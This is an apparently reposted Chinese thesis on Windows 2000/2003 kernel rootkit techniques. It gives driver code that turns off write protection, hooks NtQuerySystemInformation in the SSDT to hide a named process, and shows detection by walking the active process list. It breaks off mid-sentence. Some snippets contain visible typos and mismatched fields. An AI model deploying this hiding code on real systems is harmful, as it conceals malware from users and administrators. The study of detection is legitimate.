兼职团队   招聘会   招聘公司信息   简历模板   经验分享  

全国 切换城市

您现在的位置: 首页 > 兼职资讯 > 兼职技巧

计算机应用专业毕业论文:Windows2003 内核级进程隐藏、侦测技术

作者:兼职工作网 时间:2023-07-09
  论文关键字: 内核 拦截 活动进程链表 系统服务派遣表 线程调度链 驱动程序简介   论文摘要:信息对抗是目前发展的一个重要的方向,为了更好的防御,必须去深入的了解敌人进攻的招式。信息对抗促使信息技术飞速的发展。下面我选取了信息对抗技术的中一个很小一角关于windows内核级病毒隐藏技术和
  论文关键字: 内核 拦截 活动进程链表 系统服务派遣表 线程调度链 驱动程序简介  

  论文摘要:信息对抗是目前发展的一个重要的方向,为了更好的防御,必须去深入的了解敌人进攻的招式。信息对抗促使信息技术飞速的发展。下面我选取了信息对抗技术的中一个很小一角关于windows内核级病毒隐藏技术和反病毒侦测技术作为议题详细讨论。 

  1.为什么选驱动程序 

  驱动程序是运行在系统信任的Ring0下在代码,她拥有对系统任何软件和硬件的访问权限。这意味着内核驱动可以访问所有的系统资源,可以读取所有的内存空间,而且也被允许执行CPU的特权指令,如,读取CPU控制寄存器的当前值等。而处于用户模式下的程序如果试图从内核空间中读取一个字节或者试图执行像MOV EAX,CR3这样的汇编指令都会被立即终止掉。不过,这种强大的底线是驱动程序的一个很小的错误就会让整个系统崩溃。所以对隐藏和反隐藏技术来说都提供了一个极好的环境。但是又对攻击者和反查杀者提出了更高的技术要求。 

  2.入口例程DriverEntry 

  DriverEntry是内核模式驱动程序主入口点常用的名字,她的作用和main,WinMain,是一样的。 

  extern "C" NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)  {...}  DriverEntry的第一个参数是一个指针,指向一个刚被初始化的驱动程序对象,该对象就代表你的驱动程序,DriverEntry的第二个参数是设备服务键的键名。DriverEntry函数返回一个NTSTATUS值。NTSTATUS实际就是一个长整型,但你应该使用NTSTATUS定义该函数的返回值而不是LONG,这样代码的可读性会更好。大部分内核模式支持例程都返回NTSTATUS状态代码,你可以在DDK头文件NTSTATUS.H中找到NTSTATUS的代码列表。 

  DriverEntry的作用主要就是创建设备对象,建立设备对象的符号链接,设置好各个类型的回调函数等。 

  例如: 

extern "C" 

NTSTATUS 

DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) 



 DriverObject->DriverUnload = DriverUnload;                                                             <--1 

 DriverObject->DriverExtension->AddDevice = AddDevice; 

 DriverObject->DriverStartIo = StartIo; 

 DriverObject->MajorFunction[IRP_MJ_PNP] = DispatchPnp;                                        <--2 

 DriverObject->MajorFunction[IRP_MJ_POWER] = DispatchPower; 

 DriverObject->MajorFunction[IRP_MJ_SYSTEM_CONTROL] = DispatchWmi; 

 ... 



  在WDM中通过设置AddDevice回调函数来创建设备对象。在NT驱动中在DriverEntry例程中创建设备对象和符号链接。 

  例如: 

  RtlInitUnicodeString (&deviceNameUnicodeString, deviceNameBuffer); //初始化设备名字
//创建设备 

ntStatus = IoCreateDevice (DriverObject,      

                            0, 

                            &deviceNameUnicodeString, 

                            ##DeviceId, 

                            0, 

                            FALSE, 

                            &deviceObject 

                            ); 
if ( NT_SUCCESS ( ntStatus ) )  { 

    RtlInitUnicodeString (&deviceLinkUnicodeString, deviceLinkBuffer); //初始化符号链接名字 

//创建符号链接
    ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString, &deviceNameUnicodeString);
    if ( !NT_SUCCESS ( ntStatus ) ) { 

        IoDeleteDevice (deviceObject); //如果创建符号链接失败,删除设备
             return ntStatus; 





  建立符号链接的作用就是暴露一个给应用程序的接口,应用程序可以通过CreateFile API打开链接符号,得到一个语柄,和我们的驱动程序进行交互操作。

  3.Unload例程 

  虽然各个驱动程序的Unload例程不尽相同,但是它大致执行下列工作: 

  释放属于驱动程序的任何硬件。 

  从Win32的名字空间移除符号连接名。 

  这个动作可以调用IoDeleteSymbolicLink来实现。 

  使用IoDeleteDevice移除设备对象。 

  释放驱动程序持有的任何缓冲池等。 

VOID DriverUnload ( IN PDRIVER_OBJECT pDriverObject ) 



PDEVICE_OBJECT pNextObj; 

// 循环每一个驱动过程控制的设备 

pNextObj = pDriverObject->DeviceObject; 

while (pNextObj != NULL) 



//从设备对象中取出设备Extension 

PDEVICE_EXTENSION pDevExt = (PDEVICE_EXTENSION)extObj->DeviceExtension; 

// 取出符号连接名 

UNICODE_STRING pLinkName = pDevExt->ustrSymLinkName; 

IoDeleteSymbolicLink(&pLinkName); //删除符号连接名 

IoDeleteDevice(pNextObj); // 删除设备 

pNextObj = pNextObj->NextDevice; 





  4. 派遣例程 

  Win2000的I/O请求是包驱动的,当一个I/O请求开始,I/O器先创建一个IRP去跟踪这个请求,另外,它存储一个功能代码在IRP的I/O堆栈区的MajorField域中来唯一的标识请求的类型。MajorField域是被I/O管理器用来索引驱动程序对象的MajorFunction表,这个表包含一个指向一个特殊I/O请求的派遣例程的功能指针,如果驱动程序不支持这个请求,MajorFunction表就会指向I/O器函数_IopInvalidDeviceRequest,该函数返回一个错误给原始的调用者。驱动程序的作者有责任提供所有的驱动程序支持的派遣例程。所有的驱动程序必须支持IRP_MJ_CREATE功能代码,因为这个功能代码是用来响应Win32用户模式的CreateFile调用,如果不支持这功能代码,Win32程序就没有办法获得设备的句柄,类似的,驱动程序必须支持IRP_MJ_CLOSE功能代码,因为它用来响应Win32用户模式的CloseHandle调用。顺便提一下,系统自动调用CloseHandle函数,因为在程序退出的时候,所有的句柄都没有被关闭。 

 static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) 



    NTSTATUS status; 

    PIO_STACK_LOCATION irpSp; 

    //得到当前IRP (I/O请求包) 

    irpSp = IoGetCurrentIrpStackLocation( Irp ); 

    switch (irpSp->MajorFunction) 

    { 

        case IRP_MJ_CREATE: 

            DbgPrint("IRP_MJ_CREATE\n"); 

            Irp->IoStatus.Status = STATUS_SUCCESS; 

            Irp->IoStatus.Information = 0L; 

            break; 

        case IRP_MJ_CLOSE: 

            DbgPrint("IRP_MJ_CLOSE\n"); 

            Irp->IoStatus.Status = STATUS_SUCCESS; 

            Irp->IoStatus.Information = 0L; 

            break; 

    } 

    IoCompleteRequest(Irp, 0); 

    return STATUS_SUCCESS; 



  大部分的I/O管理器的操作支持一个标准的读写提取,IRP_MJ_DEVICE_CONTROL允许扩展的I/O请求,使用用户模式的DeviceIoControl函数来调用,I/O管理器创建一个IRP,这个IRP的MajorFunction和IoControlCode是被DeviceIoControl函数指定其内容。传递给驱动程序的IOCTL遵循一个特殊的结构,它有32-bit大小,DDK包含一个方便的产生IOCTL值的机制的宏,CTL_CODE。可以使用CTL_CODE宏来定义我们自己的IOCTL。 

例如: 

#define IOCTL_MISSLEDEVICE_AIM  CTL_CODE \ 

( FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ACCESS_ANY ) 

 NTSTATUS DispatchIoControl( IN PDEVICE_OBJECT pDO, IN PIRP pIrp ) 



    NTSTATUS status = STATUS_SUCCESS;      

    PDEVICE_EXTENSION pDE; 

    PVOID userBuffer; 

    ULONG inSize; 

    ULONG outSize; 

    ULONG controlCode;                 // IOCTL请求代码 

    PIO_STACK_LOCATION pIrpStack;   //堆栈区域存储了用户缓冲区信息 

     pIrpStack = IoGetCurrentIrpStackLocation( pIrp ); 

    // 取出IOCTL请求代码 

    controlCode = pIrpStack-> Parameters.DeviceIoControl.IoControlCode; 

    // 得到请求缓冲区大小 

    inSize = pIrpStack-> Parameters.DeviceIoControl.InputBufferLength; 

    OutSize = pIrpStack-> Parameters.DeivceIoControl.OutputBufferLength; 

    //现在执行二次派遣 

    switch (controlCode) 

    { 

        case IOCTL_MISSLEDEVICEAIM: 

       ...... 

        case IOCTL_DEVICE_LAUNCH: 

        ...... 

        default:    // 驱动程序收到了未被承认的控制代码 

        status = STATUS_INVALID_DEVICE_REQUEST; 

    } 

    pIrp->IoStatus.Information = 0; // 数据没有传输 

    IoCompleteRequest( pIrp, IO_NO_INCREMENT ) ;      

    return status; 



  5.驱动程序的安装 

    SC管理器(即服务控制管理器)可以控制服务和驱动程序。 

    加载和运行一个服务需要执行的典型操作步骤: 

    1.调用OpenSCManager()以获取一个管理器句柄 

    2.调用CreateService()来向系统中添加一个服务 

    3.调用StartService()来运行一个服务 

    4.调用CloseServiceHandle()来释放管理器或服务句柄 

 BOOL    InstallDriver() 



    SC_HANDLE hSCManager = NULL; 

    hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); 

    if(hSCManager == NULL) 

    { 

fprintf(stderr, "OpenSCManager() failed. --err: %d\n", GetLastError()); 

        return FALSE; 

    } 

    SC_HANDLE schService; 

schService = CreateService( hSCManager, //SCManager database 

                           "MyDriver",             // name of service 

                            "MyDriver",             // name to display 

                           SERVICE_ALL_ACCESS,     // desired access 

                           SERVICE_KERNEL_DRIVER,   // service type 

                            SERVICE_AUTO_START,    // start type 

                    SERVICE_ERROR_NORMAL, // error control type 

                            DriverPath,              // service's binary 

                            NULL,                 // no load ordering group 

                            NULL,                    // no tag identifier 

                            NULL,                    // no dependencies 

                            NULL,                    // LocalSystem account 

                            NULL                     // no password 

                            ); 

    if (schService == NULL) 

    { 

        if(GetLastError() == ERROR_SERVICE_EXISTS) 

        { 

            printf("Service has already installed!\n"); 

        } 

        printf("Install driver false!"); 

        return FALSE; 

    } 

    BOOL    nRet = StartService(schService, 0, NULL); 

    if(!nRet) 

    { 

      if(GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) 

        { 

            printf("Service is already running!\n"); 

            return FALSE; 



    } 

CloseServiceHandle(schService); 

    CloseServiceHandle(hSCManager); 

    return TRUE; 



  以上对驱动程序大致框架做了一个非常简单的介绍,这仅仅是驱动程序中的一个”Hello World!”。驱动程序是相当复杂的,由于我们只是利用驱动程序的特权,对windows内核进行修改,所以就不对驱动驱动程序进行深入讨论了。 

  通过Hook SSDT (System Service Dispath Table) 隐藏进程 

  1.原理介绍:

  Windows操作系统是一种分层的架构体系。应用层的程序是通过API来访问操作系统。而API又是通过ntdll里面的核心API来进行系统服务的查询。核心API通过对int 2e的切换,从用户模式转换到内核模式。2Eh中断的功能是通过NTOSKRNL.EXE的一个函数KiSystemService()来实现的。在你使用了一个系统调用时,必须首先装载要调用的函数索引号到EAX寄存器中。把指向参数区的指针被保存在EDX寄存器中。中断调用后,EAX寄存器保存了返回的结果。KiSystemService()是根据EAX的值来决定哪个函数将被调用。而系统在SSDT中维持了一个数组,专门用来索引特定的函数服务地址。在Windows 2000中有一个未公开的由ntoskrnl.exe导出的KeServiceDescriptorTable变量,我们可以通过它来完成对SSDT的访问与修改。KeServiceDescriptorTable对应于一个数据结构,定义如下: 

typedef struct SystemServiceDescriptorTable
{
    UINT    *ServiceTableBase;
    UINT    *ServiceCounterTableBase;
    UINT    NumberOfService;
    UCHAR    *ParameterTableBase;
}SystemServiceDescriptorTable,*PSystemServiceDescriptorTable; 

  其中ServiceTableBase指向系统服务程序的地址(SSDT),ParameterTableBase则指向SSPT中的参数地址,它们都包含了NumberOfService这么多个数组单元。在windows 2000 sp4中NumberOfService的数目是248个。 

  我们的任务器,是通过用户层的API来枚举当前的进程的。Ring3级枚举的方法: 

• PSAPI 

– EnumProcesses() 

• ToolHelp32 

– Process32First() 

- Process32Next() 

  来对进程进行枚举。而她们最后都是通过NtQuerySystemInformation来进行查询的。所以我们只需要Hook掉NtQuerySystemInformation,把真实NtQuerySystemInformation返回的数进行添加或者是删改,就能有效的欺骗上层API。从而达到隐藏特定进程的目的。 

  2. Hook 

  Windows2000中NtQuerySystemInformation在SSDT里面的索引号是0x97,所以只需要把SSDT中偏移0x97*4处把原来的一个DWORD类型的读出来保存一个全局变量中然后再把她重新赋值成一个新的Hook函数的地址,就完成了Hook。 

OldFuncAddress = KeServiceDescriptorTable-> ServiceCounterTableBase[0x97]; 

KeServiceDescriptorTable-> ServiceCounterTableBase[0x97] = NewFuncAddress; 

  在其他系统中这个号就不一定一样。所以必须找一种通用的办法来得到这个索引号。在《Undocument Nt》中介绍了一种办法可以解决这个通用问题,从未有效的避免了使用硬编码。在ntoskrnl 导出的 ZwQuerySystemInformation中包含有索引号的硬编码: 

kd> u ZwQuerySystemInformation 

804011aa    b897000000      mov         eax,0x97 

804011af    8d542404        lea         edx,[esp+0x4] 

804011b3    cd2e            int         2e 

804011b5    c21000          ret         0x10 

  所以只需要把ZwQuerySystemInformation入口处的第二个字节取出来就能得到相应的索引号了。例如: 

ID = *(PULONG)((PUCHAR)ZwQuerySystemInformation+1); 

RealZwQuerySystemInformation=((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID]); 

((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID] = HookZwQuerySystemInformation; 

  3.对NtQuerySystemInformation返回的数据进行删改 

NtQuerySystemInformation的原型: 

NtQuerySystemInformation( 

        IN ULONG SystemInformationClass,   //查询系统服务类型 

        IN PVOID SystemInformation,        //接收系统信息缓冲区 

     IN ULONG SystemInformationLength,   //接收信息缓冲区大小         OUT PULONG ReturnLength);       //实际接收到的大小 

  NtQuerySystemInformation可以对系统的很多状态进行查询,不仅仅是对进程的查询,通过SystemInformationClass号来区分功能,当SystemInformationClass等于5的时候是在进行进程的查询。此时返回的SystemInformation 是一个 _SYSTEM_PROCESSES结构。 

struct _SYSTEM_PROCESSES 



    ULONG NextEntryDelta;   //下一个进程信息的偏移量,如果为0表示无一个进程信息 

    ULONG ThreadCount;     //线程数量 

    ULONG Reserved[6];     // 

    LARGE_INTEGER CreateTime;      //创建进程的时间 

    LARGE_INTEGER UserTime;         //进程中所有线程在用户模式运行时间的总和 

    LARGE_INTEGER KernelTime;      //进程中所有线程在内核模式运行时间的总和 

    UNICODE_STRING ProcessName;     //进程的名字 

    KPRIORITY 

BasePriority;         //线程的缺省优先级 

    ULONG ProcessId;                //进程ID号 

    ULONG InheritedFromProcessId;  //继承语柄的进程ID号 

    ULONG HandleCount;              //进程打开的语柄数量    

    ULONG Reserved2[2];             //  

    VM_COUNTERS VmCounters;         //虚拟内存的使用情况 

    IO_COUNTERS IoCounters;         //IO操作的统计,Only For 2000 

    struct _SYSTEM_THREADS Threads[1]; //描述进程中各线程的数组 

}; 

  当NextEntryDelta域等于0时表示已经到了进程信息链的末尾。我们要做的仅仅是把要隐藏的进程从链中删除。 

  4. 核心实现 

//系统服务表入口地址 

extern PServiceDescriptorTableEntry KeServiceDescriptorTable; 

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) 



    …… 

    __asm{ 

        mov eax, cr0 

        mov CR0VALUE, eax 

        and eax, 0fffeffffh //DisableWriteProtect 

        mov cr0, eax 

    } 

    //取得原来ZwQuerySystemInformation的入口地址 

RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] ); 

    //Hook 

((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=HookFunc; 

    //EnableWriteProtect 

    __asm 

    { 

        mov eax, CR0VALUE 

        mov cr0, eax 

    } 

    …… 

    return STATUS_SUCCESS; 



  

VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject) 



    …… 

    //UnHook恢复系统服务的原始入口地址 

((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] = RealZwQuerySystemInformation; 

    …… 



  

NTSTATUS HookFunc( 

        IN ULONG SystemInformationClass, 

        IN PVOID SystemInformation, 

        IN ULONG SystemInformationLength, 

        OUT PULONG ReturnLength) 



    NTSTATUS rc; 

    struct _SYSTEM_PROCESSES *curr; 

    // 保存上一个进程信息的指针 

    struct _SYSTEM_PROCESSES *prev = NULL; 

    //调用原函数 

    rc = (RealZwQuerySystemInformation) ( 

        SystemInformationClass, 

        SystemInformation, 

        SystemInformationLength, ReturnLength); 

    if(NT_SUCCESS(rc)) 

    { 

if(5 == SystemInformationClass) 

//如果系统查询类型是SystemProcessesAndThreadsInformation 

        { 

            curr = (struct _SYSTEM_PROCESSES *)SystemInformation; 

            //加第一个偏移量得到第一个system进程的信息首地址 

            if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta); 

            while(curr) 

            { 

if(RtlCompareUnicodeString(&hide_process_name, &curr->ProcessName, 1) == 0) 

                { 

                    //找到要隐藏的进程 

                    if(prev) 

                    { 

                        

                        if(curr->NextEntryDelta) 

                        { 

                            //要删除的信息在中间 

                            prev->NextEntryDelta += curr->NextEntryDelta; 

                        } 

                        else 

                        { 

                            //要删除的信息在末尾 

                            prev->NextEntryDelta = 0; 

                        } 

                    } 

                    else 

                    { 

                        if(curr->NextEntryDelta) 

                        { 

                            //要删除的信息在开头 

                            (char *)SystemInformation += curr->NextEntryDelta; 

                        } 

                        else 

                        { 

                            SystemInformation = NULL; 

                        } 

                    } 

                    //如果链下一个还有其他的进程信息,指针往后移 

                    if(curr->NextEntryDelta) 

((char*)curr+=curr->NextEntryDelta);                    else 

                    { 

                        curr = NULL; 

                        break; 

                    } 

                } 

                if(curr != NULL) 

                { 

                    //把当前指针设置成前一个指针,当前指针后移 

                    prev = curr; 

                    if(curr->NextEntryDelta) 

((char*)curr+=curr->NextEntryDelta); 

                    else curr = NULL; 

                } 

            } // end while(curr) 

        } 

    } 

    return rc; 



  通过IOCTL和Ring3级的应用程序通过DeviceIoControl(API)交互信息。Ring3级的用户程序使用, 

  DeviceIoControl(Handle,IOCTL_EVENT_MSG,ProcessName,ProcessNameLen, 

  NULL,0,& BytesReturned,NULL)来通知驱动程序要隐藏的进程的名字。 

  枚举和修改活动进程链表来检测和隐藏进程 

  1. 介绍EPROCESS块(进程执行块) 

  每个进程都由一个EPROCESS块来表示。EPROCESS块中不仅包含了进程相关了很多信息,还有很多指向其他相关结构数据结构的指针。例如每一个进程里面都至少有一个ETHREAD块表示的线程。进程的名字,和在用户空间的PEB(进程)块等等。EPROCESS中除了PEB成员块在是用户空间,其他都是在系统空间中的。  

  2. 查看EPROCESS结构 

kd> !processfields 

!processfields 

 EPROCESS structure offsets: 

    Pcb:                               0x0 

    ExitStatus:                        0x6c 

    LockEvent:                         0x70 

    LockCount:                         0x80 

    CreateTime:                        0x88 

    ExitTim 

e:                          0x90 

    LockOwner:                         0x98 

    UniqueProcessId:                   0x9c 

    ActiveProcessLinks:                0xa0 

    QuotaPeakPoolUsage[0]:             0xa8 

    QuotaPoolUsage[0]:                 0xb0 

    PagefileUsage:                     0xb8 

    CommitCharge:                      0xbc 

    PeakPagefileUsage:                 0xc0 

    PeakVirtualSize:                   0xc4 

    VirtualSize:                       0xc8 

    Vm:                                0xd0 

    DebugPort:                         0x120 

    ExceptionPort:                     0x124 

    ObjectTable:                       0x128 

    Token:                             0x12c 

    WorkingSetLock:                    0x130 

    WorkingSetPage:                    0x150 

    ProcessOutswapEnabled:             0x154 

    ProcessOutswapped:                 0x155 

    AddressSpaceInitialized:           0x156 

    AddressSpaceDeleted:               0x157 

    AddressCreationLock:               0x158 

    ForkInProgress:                    0x17c 

    VmOperation:                       0x180 

    VmOperationEvent:                  0x184 

    PageDirectoryPte:                  0x1f0 

    LastFaultCount:                    0x18c 

    VadRoot:                           0x194 

    VadHint:                           0x198 

    CloneRoot:                         0x19c 

    NumberOfPrivatePages:              0x1a0 

    NumberOfLockedPages:               0x1a4 

    ForkWasSuccessful:                 0x182 

    ExitProcessCalled:                 0x1aa 

    CreateProcessReported:             0x1ab 

    SectionHandle:                     0x1ac 

    Peb:                               0x1b0 

    SectionBaseAddress:                0x1b4 

    QuotaBlock:                        0x1b8 

    LastThreadExitStatus:              0x1bc 

    WorkingSetWatch:                   0x1c0 

    InheritedFromUniqueProcessId:      0x1c8 

    GrantedAccess:                     0x1cc 

    DefaultHardErrorProcessing         0x1d0 

    LdtInformation:                    0x1d4 

    VadFreeHint:                       0x1d8 

    VdmObjects:                        0x1dc 

    DeviceMap:                         0x1e0 

    ImageFileName[0]:                  0x1fc 

    VmTrimFaultValue:                  0x20c 

    Win32Process:                      0x214 

  Win32WindowStation:                0x1c4 

  3. 什么是活动进程链表 

  EPROCESS块中有一个ActiveProcessLinks成员,它是一个PLIST_ENTRY机构的双向链表。当一个新进程建立的时候父进程负责完成EPROCESS块,然后把ActiveProcessLinks链接到一个全局内核变量PsActiveProcessHead链表中。 

  在PspCreateProcess内核API中能清晰的找到: 

  InsertTailList(&PsActiveProcessHead,&Process->ActiveProcessLinks); 

  当进程结束的时候,该进程的EPROCESS结构当从活动进程链上摘除。(但是EPROCESS结构不一定就马上释放)。 

  在PspExitProcess内核API中能清晰的找到: 

  RemoveEntryList(&Process->ActiveProcessLinks); 

  所以我们完全可以利用活动进程链表来对进程进行枚举。 

  4. 进程枚举检测Hook SSDT隐藏的进程。 

    事实上Nactive API ZwQuerySystemInformation 对进程查询也是找到活动进程链表头,然后遍历活动进程链。最后把每一个EPROCESS中包含的基本信息返回(包括进程ID名字等)。所以用遍历活动进程链表的办法能有效的把Hook SSDT进行隐藏的进程轻而易举的查出来。但是PsActiveProcessHead并没被ntoskrnl.exe 导出来,所以我们可以利用硬编码的办法,来解决这个问题。利用内核调试器livekd查得PsActiveProcessHead的地址为: 0x8046e460.(在2000 sp4中得到的值) 

  kd> dd PsActiveProcessHead L 2 

  dd PsActiveProcessHead L 2 

  8046e460 81829780 ff2f4c80 

  PLIST_ENTRY PsActiveProcessHead = (PLIST_ENTRY)0x8046e460; 

void DisplayList() 



PLIST_ENTRY List = PsActiveProcessHead->Blink; 

while( List != PsActiveProcessHead ) 



        char* name = ((char*)List-0xa0)+0x1fc; 

        DbgPrint("name = %s\n",name); 

        List=List->Blink;               





  首先把List指向表头后的第一个元素。然后减去0xa0,因为这个时候List指向的并不是EPROCESS块的头,而是指向的它的ActiveProcessLinks成员结构,而ActiveProcessLinks在EPROCESS中的偏移量是0xa0,所以需要减去这么多,得到EPROCESS的头部。在EPROCESS偏移0x1fc处是进程的名字信息,所以再加上0x1fc得到进程名字,并且在Dbgview中打印出来。利用Hook SSDT隐藏的进程很容易就被查出来了。 

  5. 解决硬编码问题。 

  在上面我们的PsActiveProcessHead是通过硬编码的形式得到的,在不同的系统中这值不一样。在不同的SP版本中这个值一般也不一样。这就给程序的通用性带来了很大的问题。下面就来解决这个PsActiveProcessHead的硬编码的问题。 

    ntoskrnl.exe导出的PsInitialSystemProcess 是一个指向system进程的EPROCESS。这个结构成员EPROCESS.ActiveProcessLinks.Blink就是指向PsActiveProcessHead的. 

kd> dd PsInitialSystemProcess L 1 

dd PsInitialSystemProcess L 1 

8046e450 818296e0 

kd> !process 818296e0 0 

!process 818296e0 0 

PROCESS 818296e0 SessionId: 0 Cid: 0008    Peb: 00000000 ParentCid: 0000 

    DirBase: 00030000 ObjectTable: 8185d148 TableSize: 141. 

Image: System 

可以看出由PsInitialSystemProcess得到的818296e0正是指向System的EPROCESS. 

kd> dd 818296e0+0xa0 L 2 

dd 818296e0+0xa0 L 2 

81829780 814d1a00 8046e460 

上面又可以看出S 

Copyright 2005-2020 All Rights Reserved

赣ICP备19000462号-1 兼职工作网(www.jzjob.com)

QQ客服:6580-290 有事情请找我!